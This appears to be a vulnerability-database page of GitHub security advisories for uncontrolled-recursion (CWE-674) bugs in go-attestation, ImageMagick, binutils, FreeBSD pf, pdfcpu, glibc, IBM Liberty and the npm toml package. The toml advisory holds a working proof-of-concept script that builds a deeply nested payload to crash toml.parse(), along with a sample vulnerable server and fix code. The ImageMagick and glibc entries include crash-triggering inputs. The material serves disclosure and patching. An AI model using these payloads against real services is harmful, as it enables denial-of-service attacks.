CWE-674
Allowed-with-ReviewUncontrolled Recursion
Abstraction: Class · Status: Draft
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
777 vulnerabilities reference this CWE, most recent first.
GHSA-7RQW-P8MV-672C
Vulnerability from github – Published: 2026-09-09 00:30 – Updated: 2026-09-09 00:30An uncontrolled recursion vulnerability in the Windows SIPA event log parser of Google go-attestation versions up to and including 0.6.1 allows an attacker to cause a denial of service (DoS). The (*WinEvents).readELAMAggregation function recurses for every nested elamAggregation sub-event without enforcing a maximum recursion depth limit, while the size guard is bypassed on recursive execution paths. By submitting a crafted Windows event log containing deeply nested elamAggregation headers, an attacker can exhaust the goroutine call stack, triggering an unrecoverable fatal runtime error (stack overflow) that immediately crashes the verifier application.
{
"affected": [],
"aliases": [
"CVE-2026-19201"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T00:17:30Z",
"severity": "MODERATE"
},
"details": "An uncontrolled recursion vulnerability in the Windows SIPA event log parser of Google go-attestation versions up to and including 0.6.1 allows an attacker to cause a denial of service (DoS). The (*WinEvents).readELAMAggregation function recurses for every nested elamAggregation sub-event without enforcing a maximum recursion depth limit, while the size guard is bypassed on recursive execution paths. By submitting a crafted Windows event log containing deeply nested elamAggregation headers, an attacker can exhaust the goroutine call stack, triggering an unrecoverable fatal runtime error (stack overflow) that immediately crashes the verifier application.",
"id": "GHSA-7rqw-p8mv-672c",
"modified": "2026-09-09T00:30:30Z",
"published": "2026-09-09T00:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/go-attestation/security/advisories/GHSA-hcm6-rjfh-f25p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19201"
},
{
"type": "WEB",
"url": "https://github.com/google/go-attestation/pull/506"
},
{
"type": "WEB",
"url": "https://github.com/google/go-attestation/releases/tag/v0.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7RVH-XQP3-PR8J
Vulnerability from github – Published: 2025-12-30 23:08 – Updated: 2025-12-30 23:08Summary
Magick fails to check for circular references between two MVGs, leading to a stack overflow.
Details
After reading mvg1 using Magick, the following is displayed:
./magick -limit memory 2GiB -limit map 2GiB -limit disk 0 mvg:L1.mvg out.png
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3564123==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x5589549a4458 bp 0x7ffcc61f34a0 sp 0x7ffcc61efdd0 T0)
#0 0x5589549a4458 in GetImagePixelCache MagickCore/cache.c:1726
#1 0x5589549b02c1 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4261
#2 0x5589549a2f24 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1368
#3 0x5589549bae98 in GetCacheViewAuthenticPixels MagickCore/cache-view.c:311
#4 0x558954afb3a5 in DrawPolygonPrimitive._omp_fn.1 MagickCore/draw.c:5172
#5 0x7f62dd89fa15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15)
#6 0x558954ae0f41 in DrawPolygonPrimitive MagickCore/draw.c:5156
#7 0x558954ae5607 in DrawPrimitive MagickCore/draw.c:5875
#8 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522
#9 0x558954adcf67 in DrawImage MagickCore/draw.c:4561
#10 0x55895496cedb in RenderFreetype MagickCore/annotate.c:2065
#11 0x55895496702e in RenderType MagickCore/annotate.c:1112
#12 0x558954963da7 in AnnotateImage MagickCore/annotate.c:544
#13 0x558954ae4e0a in DrawPrimitive MagickCore/draw.c:5799
#14 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522
#15 0x558954adcf67 in DrawImage MagickCore/draw.c:4561
#16 0x558954755a46 in ReadMVGImage coders/mvg.c:240
#17 0x558954a15ecc in ReadImage MagickCore/constitute.c:743
#18 0x558954ae3c76 in DrawPrimitive MagickCore/draw.c:5705
#19 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522
#20 0x558954adcf67 in DrawImage MagickCore/draw.c:4561
#21 0x558954755a46 in ReadMVGImage coders/mvg.c:240
...
Impact
This is a DoS vulnerability, and any situation that allows reading the mvg file will be affected.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68950"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T23:08:15Z",
"nvd_published_at": "2025-12-30T17:15:43Z",
"severity": "MODERATE"
},
"details": "### Summary\nMagick fails to check for circular references between two MVGs, leading to a stack overflow.\n\n### Details\n\nAfter reading mvg1 using Magick, the following is displayed:\n```\n./magick -limit memory 2GiB -limit map 2GiB -limit disk 0 mvg:L1.mvg out.png\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==3564123==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x5589549a4458 bp 0x7ffcc61f34a0 sp 0x7ffcc61efdd0 T0)\n #0 0x5589549a4458 in GetImagePixelCache MagickCore/cache.c:1726\n #1 0x5589549b02c1 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4261\n #2 0x5589549a2f24 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1368\n #3 0x5589549bae98 in GetCacheViewAuthenticPixels MagickCore/cache-view.c:311\n #4 0x558954afb3a5 in DrawPolygonPrimitive._omp_fn.1 MagickCore/draw.c:5172\n #5 0x7f62dd89fa15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15)\n #6 0x558954ae0f41 in DrawPolygonPrimitive MagickCore/draw.c:5156\n #7 0x558954ae5607 in DrawPrimitive MagickCore/draw.c:5875\n #8 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522\n #9 0x558954adcf67 in DrawImage MagickCore/draw.c:4561\n #10 0x55895496cedb in RenderFreetype MagickCore/annotate.c:2065\n #11 0x55895496702e in RenderType MagickCore/annotate.c:1112\n #12 0x558954963da7 in AnnotateImage MagickCore/annotate.c:544\n #13 0x558954ae4e0a in DrawPrimitive MagickCore/draw.c:5799\n #14 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522\n #15 0x558954adcf67 in DrawImage MagickCore/draw.c:4561\n #16 0x558954755a46 in ReadMVGImage coders/mvg.c:240\n #17 0x558954a15ecc in ReadImage MagickCore/constitute.c:743\n #18 0x558954ae3c76 in DrawPrimitive MagickCore/draw.c:5705\n #19 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522\n #20 0x558954adcf67 in DrawImage MagickCore/draw.c:4561\n #21 0x558954755a46 in ReadMVGImage coders/mvg.c:240\n ...\n```\n\n### Impact\nThis is a DoS vulnerability, and any situation that allows reading the mvg file will be affected.",
"id": "GHSA-7rvh-xqp3-pr8j",
"modified": "2025-12-30T23:08:15Z",
"published": "2025-12-30T23:08:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68950"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick\u0027s failure to limit MVG mutual causes Stack Overflow"
}
GHSA-7VJV-FCF5-RX4H
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04An issue was discovered in GNU libiberty, as distributed in GNU Binutils 2.32. It is a stack consumption issue in d_count_templates_scopes in cp-demangle.c after many recursive calls.
{
"affected": [],
"aliases": [
"CVE-2019-9071"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-24T00:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in GNU libiberty, as distributed in GNU Binutils 2.32. It is a stack consumption issue in d_count_templates_scopes in cp-demangle.c after many recursive calls.",
"id": "GHSA-7vjv-fcf5-rx4h",
"modified": "2022-05-13T01:04:40Z",
"published": "2022-05-13T01:04:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9071"
},
{
"type": "WEB",
"url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=89394"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-24"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190314-0003"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=24227"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K02884135"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4326-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4336-1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7VXR-7VXQ-J68J
Vulnerability from github – Published: 2026-04-30 09:30 – Updated: 2026-04-30 15:30Incorrect packet validation allowed unbounded recursion parsing SCTP chunk parameters. This can eventually result in a stack overflow and panic.
Remote attackers can craft packets which cause affected systems to panic. This affects any system where pf is configured to process traffic, independent of the configured ruleset.
{
"affected": [],
"aliases": [
"CVE-2026-7164"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-30T08:16:07Z",
"severity": "HIGH"
},
"details": "Incorrect packet validation allowed unbounded recursion parsing SCTP chunk parameters. This can eventually result in a stack overflow and panic.\n\nRemote attackers can craft packets which cause affected systems to panic. This affects any system where pf is configured to process traffic, independent of the configured ruleset.",
"id": "GHSA-7vxr-7vxq-j68j",
"modified": "2026-04-30T15:30:39Z",
"published": "2026-04-30T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7164"
},
{
"type": "WEB",
"url": "https://security.freebsd.org/advisories/FreeBSD-SA-26:14.pf.asc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WMM-6G5P-MV4P
Vulnerability from github – Published: 2026-07-02 21:32 – Updated: 2026-08-21 15:32pdfcpu through v0.11.1 contains an uncontrolled-recursion denial-of-service issue in pkg/pdfcpu/model/parse.go. The parser descends recursively through nested PDF objects, including arrays, via ParseObjectContext() and parseArray() without enforcing a maximum nesting depth.
{
"affected": [],
"aliases": [
"CVE-2026-38970"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-02T21:16:56Z",
"severity": "HIGH"
},
"details": "pdfcpu through v0.11.1 contains an uncontrolled-recursion denial-of-service issue in pkg/pdfcpu/model/parse.go. The parser descends recursively through nested PDF objects, including arrays, via ParseObjectContext() and parseArray() without enforcing a maximum nesting depth.",
"id": "GHSA-7wmm-6g5p-mv4p",
"modified": "2026-08-21T15:32:05Z",
"published": "2026-07-02T21:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-38970"
},
{
"type": "WEB",
"url": "https://github.com/pdfcpu/pdfcpu/commit/9db810afb52b555ffcae955b32c0be3a73eb53d3"
},
{
"type": "WEB",
"url": "https://github.com/pdfcpu/pdfcpu"
},
{
"type": "WEB",
"url": "https://github.com/pdfcpu/pdfcpu/blob/a181c19acb322d6b93a1bbda9385a864a9ad6efe/pkg/pdfcpu/model/parse.go#L325-L366"
},
{
"type": "WEB",
"url": "https://github.com/pdfcpu/pdfcpu/blob/a181c19acb322d6b93a1bbda9385a864a9ad6efe/pkg/pdfcpu/model/parse.go#L942-L970"
},
{
"type": "WEB",
"url": "https://github.com/pdfcpu/pdfcpu/releases/tag/v0.12.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X29-5Q3F-F4X2
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\227|)(\1\1|t1|\\2537)+' in grep.
{
"affected": [],
"aliases": [
"CVE-2018-20796"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-26T02:29:00Z",
"severity": "HIGH"
},
"details": "In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by \u0027(\\227|)(\\\\1\\\\1|t1|\\\\\\2537)+\u0027 in grep.",
"id": "GHSA-7x29-5q3f-f4x2",
"modified": "2022-05-13T01:30:43Z",
"published": "2022-05-13T01:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20796"
},
{
"type": "WEB",
"url": "https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34141"
},
{
"type": "WEB",
"url": "https://lists.gnu.org/archive/html/bug-gnulib/2019-01/msg00108.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190315-0002"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K26346590?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107160"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XQP-2VGX-PCR5
Vulnerability from github – Published: 2026-07-28 21:31 – Updated: 2026-07-28 21:31IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by a denial of service vulnerability when the restConnector-2.0 feature is enabled.
{
"affected": [],
"aliases": [
"CVE-2026-16192"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T20:17:23Z",
"severity": "HIGH"
},
"details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by a denial of service vulnerability when the restConnector-2.0 feature is enabled.",
"id": "GHSA-7xqp-2vgx-pcr5",
"modified": "2026-07-28T21:31:33Z",
"published": "2026-07-28T21:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16192"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7281648"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-82X6-Q7MM-W9CF
Vulnerability from github – Published: 2026-09-03 20:56 – Updated: 2026-09-03 20:56Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
npm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---|---|---|
Bare nested array a=[[ … ]] |
≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
Inline table {arr=[ … ]} |
≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured
--stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.
Realistic Attack Scenario
// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => {
try {
const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload
res.json({ status: 'ok' });
} catch (e) {
// toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
// on malformed input. A RangeError has neither, so this guard rethrows it:
if (e.line != null) return res.status(400).json({ error: e.message });
throw e; // RangeError propagates → uncaught → worker down
}
});
An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).
The package exports only
parse(Object.keys(require('toml'))→['parse']); there is notoml.SyntaxError. Code written ascatch (e) { if (e instanceof toml.SyntaxError) … }is itself broken (instanceof undefinedthrows), so applications generally cannot cleanly distinguish the DoSRangeErrorfrom a normal parse error.
Impact
Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.
RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.
Suggested Fix
Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:
Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:
// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }
// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
v:(array / inline_table / ...) { depth--; return v; }
Option 2 — entry-point guard in index.js (reject pathological input before parsing):
module.exports.parse = function (input) {
// cheap structural bound before the recursive parse
let depth = 0, max = 0;
for (const ch of input) {
if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
else if (ch === ']' || ch === '}') depth--;
}
if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
return realParse(input);
};
Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).
Comparison with Related Vulnerabilities
Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "toml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77465"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T20:56:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n\n`toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node\u0027s call stack.\n\nA small payload \u2014 a bare array nested a few thousand levels deep (**~5\u20136 KB**) \u2014 reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly downloads**.\n\n---\n\n## Vulnerable Code\n\nThe parser is a **generated** recursive-descent parser (`lib/parser.js`, header: `// @generated by Peggy 5.1.0.`). The recursion sink is the mutual recursion between the `value`, `array`, and `inline_table` rule functions \u2014 none carry a depth counter:\n\n```javascript\n// lib/parser.js \u2014 peg$parsevalue() @ line 1008\nfunction peg$parsevalue() {\n ...\n s0 = peg$parsearray(); // line 1017 \u2190 value \u2192 array\n if (s0 === peg$FAILED) {\n s0 = peg$parseinline_table(); // line 1019 \u2190 value \u2192 inline_table\n }\n ...\n}\n\n// peg$parsearray() @ line 2879\nfunction peg$parsearray() {\n ...\n s3 = peg$parsevalue(); // line 2931 \u2190 array element \u2192 value (back-edge)\n ...\n}\n\n// peg$parseinline_table() @ line 3066 \u2192 peg$parseinline_table_entry() @ line 3239\nfunction peg$parseinline_table_entry() {\n ...\n s5 = peg$parsevalue(); // line 3266 \u2190 inline-table value \u2192 value (back-edge)\n ...\n}\n```\n\n**Recursion cycle** for `a=[[[ \u2026 ]]]` (bare nested arrays):\n\n```\ntoml.parse(src)\n \u2192 peg$parsevalue() # parser.js:1008\n \u2192 peg$parsearray() # parser.js:1017 / 2879\n \u2192 peg$parsevalue() # parser.js:2931 \u2190 back-edge, per nested element\n \u2192 \u2026 # depth == input nesting \u2192 RangeError, no guard\n```\n\nInline tables (`{arr=[ \u2026 ]}`, `{a={a= \u2026 }}`) reach the same cycle via `peg$parseinline_table` / `peg$parseinline_table_entry`. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (`src/toml.pegjs`) or in an input guard (see *Suggested Fix*).\n\n---\n\n## Confirmed PoC (toml 4.1.2, Node.js v24.16.0)\n\n**Setup:**\n\n```bash\nnpm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected\n# Docker equivalent:\n# docker run --rm node:24 bash -c \"npm i -g toml \u003e/dev/null 2\u003e\u00261; node -e \u0027\u003cPoC below\u003e\u0027\"\n```\n\n**Reproduce** \u2014 save as `poc.js`, run `node poc.js`:\n\n```javascript\nconst toml = require(\u0027toml\u0027);\nconsole.log(\u0027version:\u0027, require(\u0027toml/package.json\u0027).version); // 4.1.2\n\n// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)\nlet x = \u00271\u0027;\nfor (let i = 0; i \u003c 3000; i++) x = \u0027[\u0027 + x + \u0027]\u0027;\nconst payload = \u0027a=\u0027 + x;\nconsole.log(\u0027payload bytes:\u0027, payload.length); // 6003\n\ntry {\n toml.parse(payload);\n console.log(\u0027no crash\u0027);\n} catch (e) {\n console.log(\u0027CONFIRMED:\u0027, e.constructor.name + \u0027:\u0027, e.message.slice(0, 40));\n console.log(\u0027is RangeError?\u0027, e instanceof RangeError, // true\n \u0027| is SyntaxError?\u0027, e instanceof SyntaxError); // false\n}\n```\n\n**Expected output (vulnerable \u2014 actual run):**\n\n```\nversion: 4.1.2\npayload bytes: 6003\nCONFIRMED: RangeError: Maximum call stack size exceeded\nis RangeError? true | is SyntaxError? false\n```\n\n**Verified crash thresholds (fresh process, single parse, default Node 24 stack):**\n\n| Payload shape | Reliable crash depth | Payload size |\n|---------------|----------------------|--------------|\n| Bare nested array 